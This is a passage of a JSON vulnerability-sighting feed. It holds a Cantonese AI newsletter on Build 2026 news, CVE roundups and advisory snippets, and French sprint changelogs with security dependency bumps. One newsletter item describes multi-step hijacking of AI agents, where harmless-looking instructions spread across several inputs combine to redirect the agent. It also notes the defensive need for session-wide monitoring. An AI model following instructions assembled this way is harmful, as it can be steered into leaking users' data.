Spark Dev Box \u2014 \u57fa\u65bc NVIDIA RTX \u5605\u958b\u767c\u5de5\u4f5c\u7ad9\uff0c1 petaflop AI compute \u52a0 20 \u500b CPU core\u3002Nadella \u958b\u73a9\u7b11\u8a71\u81ea\u5df1\u90fd\u6392\u5514\u5230 waitlist\u3002\n1 petaflop \u6bd4\u73fe\u6642\u9ad8\u968e RTX \u5de5\u4f5c\u7ad9\u5f37\u597d\u591a\uff0c\u8db3\u5920\u672c\u5730\u8dd1 full-scale agent workload \u505a\u958b\u767c\u6e2c\u8a66\u3002\u5b9a\u4f4d\u4fc2\u4ffe developer \u672c\u5730\u6e2c\u8a66 production-level \u63a8\u7406\u901f\u5ea6\u518d deploy \u4e0a Azure\u3002\n    \n  \n\n  \n\n    \n\n      \n\u2601\ufe0f \u57fa\u5efa\n      \nFrontier AI Model \u5c08\u70ba\u91ab\u7642\u800c\u8a2d\n      \n\nMayo Clinic CEO \u55ba Build 2026 \u5ba3\u5e03\u540c Microsoft \u5408\u4f5c\u958b\u767c\u300cfrontier model specifically for health\u300d\u2014 \u7528 Mayo Clinic \u5605\u81e8\u5e8a\u5c08\u696d\u540c\u91ab\u5b78\u77e5\u8b58\u8a13\u7df4\u5605\u5b9a\u5236 AI \u6a21\u578b\u3002\u76ee\u6a19\u4fc2\u5c07 Mayo Clinic \u5605\u670d\u52d9\u64f4\u5c55\u5230\u5168\u7403\u3002\n\u66ab\u6642\u672a\u6709\u5177\u9ad4\u6280\u8853\u7d30\u7bc0\u516c\u958b\uff0c\u4f46 Mayo Clinic \u4fc2\u5168\u7403\u6700\u9802\u5c16\u91ab\u7642\u6a5f\u69cb\uff0c\u5462\u500b partnership \u4fe1\u865f\u597d\u5f37\u3002\n    \n  \n\n  \n\n    \n\n      \n\u2601\ufe0f \u57fa\u5efa\n      \nAgent \u5c08\u7528\u4e92\u806f\u7db2\u667a\u80fd\u540c\u6578\u64da\u5eab\n      \n\nBuild 2026 \u6709\u5169\u500b infrastructure \u516c\u5e03\uff1aWeb IQ \u4ffe agent \u5b58\u53d6\u7d50\u69cb\u5316\u5be6\u6642\u516c\u958b\u7db2\u7d61\u8cc7\u8a0a\uff08\u80a1\u50f9\u3001\u6cd5\u898f\u66f4\u65b0\uff09\uff0c\u4fc2 verified structured data \u5514\u4fc2 raw HTML\u3002\nAzure HorizonDB \u4fc2\u5c08\u70ba agent \u800c\u5efa\u5605 Postgres \u64f4\u5c55\uff0c\u652f\u63f4 agent \u4e4b\u9593\u5171\u4eab\u72c0\u614b\u540c\u8de8 agent \u8a18\u61b6\u3002\n    \n  \n\n  \n\n    \n\n      \n\u2601\ufe0f \u57fa\u5efa\n      \nMicrosoft \u81ea\u5bb6\u6676\u7247\u5df2\u6295\u7522\n      \n\nNadella \u78ba\u8a8d Maia 200 \u5df2\u55ba Iowa \u540c Arizona \u6295\u7522\uff0c\u4e0b\u4e00\u7ad9 Italy\u3001Australia\u3001South Korea\u3002Maia 200 \u4fc2 Microsoft \u6a5f\u968a\u5165\u9762 tokens per dollar per watt \u6700\u9ad8\u5605\u6676\u7247\u3002\nCobalt 200 ARM \u8655\u7406\u5668\u5605\u65b0 VM \u800c\u5bb6 preview\uff0c\u5df2\u90e8\u7f72\u55ba\u8d85\u904e 10 \u500b\u5168\u7403 region\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83e\udd16 \u6846\u67b6\n      \n\u8de8\u6240\u6709 App \u5605 AI Agent\n      \n\nMicrosoft \u767c\u5e03 Scout\uff0c\u4e00\u500b\u4eca\u65e5\u5c31\u4ffe developer \u7528\u5605 AI agent\u3002\u4f62\u76e3\u63a7\u4f60\u6210\u500b desktop \u5605 context\uff0c\u7136\u5f8c\u63d0\u4f9b\u8de8\u61c9\u7528\u7a0b\u5f0f\u5605 context-aware \u5354\u52a9\u3002\n\u540c Copilot \u55ba\u500b\u5225 app \u5605\u6700\u5927\u5206\u5225\uff1aScout \u7406\u89e3\u4f60\u6210\u500b work session \u5605 cross-application \u4e0a\u4e0b\u6587\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nCoding Models \u4fc2 AI \u9700\u6c42\u6700\u5927\u63a8\u52d5\u529b\n      \n\nCNBC \u8a2a\u554f Sam Altman \u55ba Stargate Michigan data center\u3002Altman \u8a71 Coding models \u4fc2 AI \u9700\u6c42\u6700\u5927\u63a8\u52d5\u529b\uff0cStargate \u5462\u500b\u5927\u8ced\u6ce8\u5c31\u4fc2\u57fa\u65bc coding model \u5605 adoption\u3002\nOracle co-CEO \u8a71 Michigan data center \u7e3d\u9020\u50f9 $46\u2013$56B \u2014 \u4eba\u985e\u53f2\u4e0a\u6700\u5927\u5605\u55ae\u4e00 AI \u57fa\u5efa\u9805\u76ee\u3002OpenAI \u4ef2\u6703\u5411 Michigan \u8d85\u904e 40 \u842c\u540d\u5b78\u751f\u63d0\u4f9b $45M Codex credits\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \nAI \u9810\u6e2c\u7570\u898b\u4eba\u58eb\uff0c\u672a\u884c\u52d5\u5148\u6a19\u8a18\n      \n\nPolitical Wire \u5831\u5c0e Geedge Networks \u6b63\u5efa\u9020 AI \u7cfb\u7d71\uff0c\u7528\u884c\u70ba\u6578\u64da\u3001\u793e\u4ea4\u5a92\u9ad4\u6d3b\u52d5\u540c\u79fb\u52d5\u6578\u64da\u9810\u6e2c\u908a\u500b\u4eba\u53ef\u80fd\u6703\u6210\u70ba\u653f\u6cbb\u7570\u898b\u4eba\u58eb\uff0c\u55ba\u672a\u6709\u4efb\u4f55\u884c\u52d5\u4e4b\u524d\u5c31\u4ffe risk score\u3002\n\u5462\u500b\u4fc2 pre-crime \u5f0f predictive political profiling\uff0c\u540c Anthropic \u5605 Claude Mythos \u5f62\u6210\u5c16\u92b3\u5c0d\u6bd4\uff0c\u4fc2 AI \u96d9\u9762\u6027\u5605\u6700\u6e05\u695a\u4f8b\u8b49\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcbb \u958b\u767c\u8005\u5de5\u5177\n      \n\u591a\u6b65\u9a5f Hijacking \u6210\u4e3b\u6d41\n      \n\n\u6700\u65b0\u4f01\u696d\u7d1a\u6aa2\u6e2c\u6578\u64da\u986f\u793a 2026 \u5e74\u653b\u64ca\u65b9\u5f0f\u540c 2023 \u5e74\u5b8c\u5168\u5514\u540c\u30022023 \u5e74\u5605 direct override \u57fa\u672c\u4e0a\u6240\u6709\u751f\u7522\u7cfb\u7d71\u90fd\u64cb\u5f97\u4f4f\u3002\n2026 \u5e74\u4e3b\u6d41\u4fc2 multi-step hijacking\uff1a\u4e00\u7cfb\u5217\u770b\u4f3c\u7121\u5bb3\u5605 instruction \u5206\u6563\u55ba\u591a\u500b input\uff0c\u6bcf\u500b\u55ae\u7368\u7747\u5187\u554f\u984c\uff0c\u7d44\u5408\u57cb\u5c31 redirect \u5497 agent \u884c\u70ba\u3002\n\u9632\u79a6\u9700\u8981 behavioral monitoring across full agent session\u3002\u4e0a\u661f\u671f Sysdig CVE-2026-48710 \u5605 database exfiltration \u5c31\u4fc2\u5be6\u4f8b\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udd2c \u7814\u7a76\u8207\u8da8\u52e2\n      \nAI \u8a2d\u8a08\u5be6\u9a57\u3001\u5beb\u8ad6\u6587\u3001\u63d0\u4ea4 lab job\n      \n\nMicrosoft Discovery \u79d1\u7814 AI \u5e73\u53f0\u6b63\u5f0f GA\u3002VP David Carmona \u793a\u7bc4\u7528\u4f62\u6539\u5584\u5851\u81a0\u56de\u6536\u5316\u5b78 \u2014 \u7814\u7a76\u54e1 input prompt\uff0cDiscovery \u63d0\u8b70\u5be6\u9a57\u65b9\u6cd5\u3001\u5beb\u8ad6\u6587\u7d50\u69cb\u3001\u63d0\u4ea4 AI-generated lab job\u3002\n\u5514\u4fc2\u4e00\u6b21\u6027\u554f\u7b54\u5f15\u64ce\uff0c\u6709\u5572 output \u8981\u5e7e\u500b\u9418\u751a\u81f3\u5e7e\u65e5\uff0c\u56e0\u70ba iterative \u904b\u4f5c\u597d\u4f3c\u771f\u5be6\u79d1\u5b78\u904e\u7a0b\u3002GA \u610f\u5473 enterprise \u5ba2\u6236\u6709 active Azure agreement \u5c31\u7528\u5f97\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcca \u5e02\u5834\u8207\u8ca1\u7d93\n      \n\ud83d\udcca SpaceX + Anthropic + OpenAI IPOs \u53ef\u80fd\u70ba\u7f8e\u570b\u80a1\u5e02\u589e\u52a0 $4 \u842c\u5104\n      \n\nThe Economist \u5206\u6790\u6307 SpaceX\u3001Anthropic \u540c OpenAI \u4e09\u8005\u5982\u679c\u55ba 2026 \u5e74\u5b8c\u6210 IPO\uff0c\u53ef\u80fd\u70ba\u7f8e\u570b\u80a1\u5e02\u5e7e\u500b\u6708\u5167\u589e\u52a0 $4 \u842c\u5104\u5e02\u503c\u3002SpaceX \u4f30\u503c $1.75T\uff0cAnthropic \u7d04 $1\u20131.25T\uff0cOpenAI \u7d04 $852B\u2013$1T\u3002\n\u5462\u500b\u898f\u6a21\u5605 capital inflow \u9700\u8981 institutional investors \u8ce3\u51fa\u73fe\u6709\u6301\u5009\u53bb\u7c4c\u9322\uff0c\u53ef\u80fd\u5c0d broad market indices \u9020\u6210\u8ce3\u58d3\uff0c\u5c24\u5176\u4fc2 tech \u677f\u584a\u3002\n    \n  \n\n  \n\n    \n\n      \n\ud83d\udcf0 \u4f86\u6e90\uff1aBuild Fast with AI | Delivered: 2026-06-03 10:24 HKT\n    \n  \n  \n\n\n", "creation_timestamp": "2026-06-03T02:24:10.000000Z"}, {"uuid": "3a37fb93-8a6e-4727-ad95-3829b4204e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mne2wpe5722x", "content": "Top 3 CVE for last 7 days:\nCVE-2025-48595: 127 interactions\nCVE-2026-0257: 42 interactions\nCVE-2026-48778: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2025-48595: 127 interactions\nCVE-2026-46243: 12 interactions\nCVE-2026-0257: 8 interactions\n", "creation_timestamp": "2026-06-03T02:31:25.801854Z"}, {"uuid": "570be4d8-5936-4124-94a1-fa3b8b9d347d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48088", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mskzeot7sz2o", "content": "CVE-2026-48088\nAn attacker can access sensitive patient data by registering themselves as an additional encryption recipient for any tenant's appointments without proper authentication. This breaks OpenReception's end-to-end\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-08T11:58:04.480231Z"}, {"uuid": "52484a4d-6d96-48e0-891e-1b1b370ba283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnep2cl4ya23", "content": "Hidden Mail Manipulation Crisis: Laravel CRLF Injection Flaw (CVE-2026-48019) Opens Door to Email Hijacking and Header Abuse +\u00a0Video\n\n\ud83e\udded Introduction: A Silent Protocol Weakness Turning Trusted Emails Into Attack Vectors Modern web applications rely heavily on automated email systems for\u2026", "creation_timestamp": "2026-06-03T08:31:22.032553Z"}, {"uuid": "fdf6d9c7-7e0f-4333-81ba-04e729041b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/8515b09b2feb671fab3d474d89595d98", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83e\udd73Testing**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83e\udd73Testing**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)", "creation_timestamp": "2026-06-03T09:46:17.000000Z"}, {"uuid": "ac05b1b0-aa13-46d0-8ef4-002a7e4f2216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/6c25cd4e9cca4e030981d85764676f56", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83e\udd73Testing**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)", "creation_timestamp": "2026-06-03T13:07:44.000000Z"}, {"uuid": "453d0c6b-7977-406e-83af-0e7dd112772b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/fff9ee29d2c75cff64d2645c9f8d0833", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\u2600\ufe0fIn review**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / 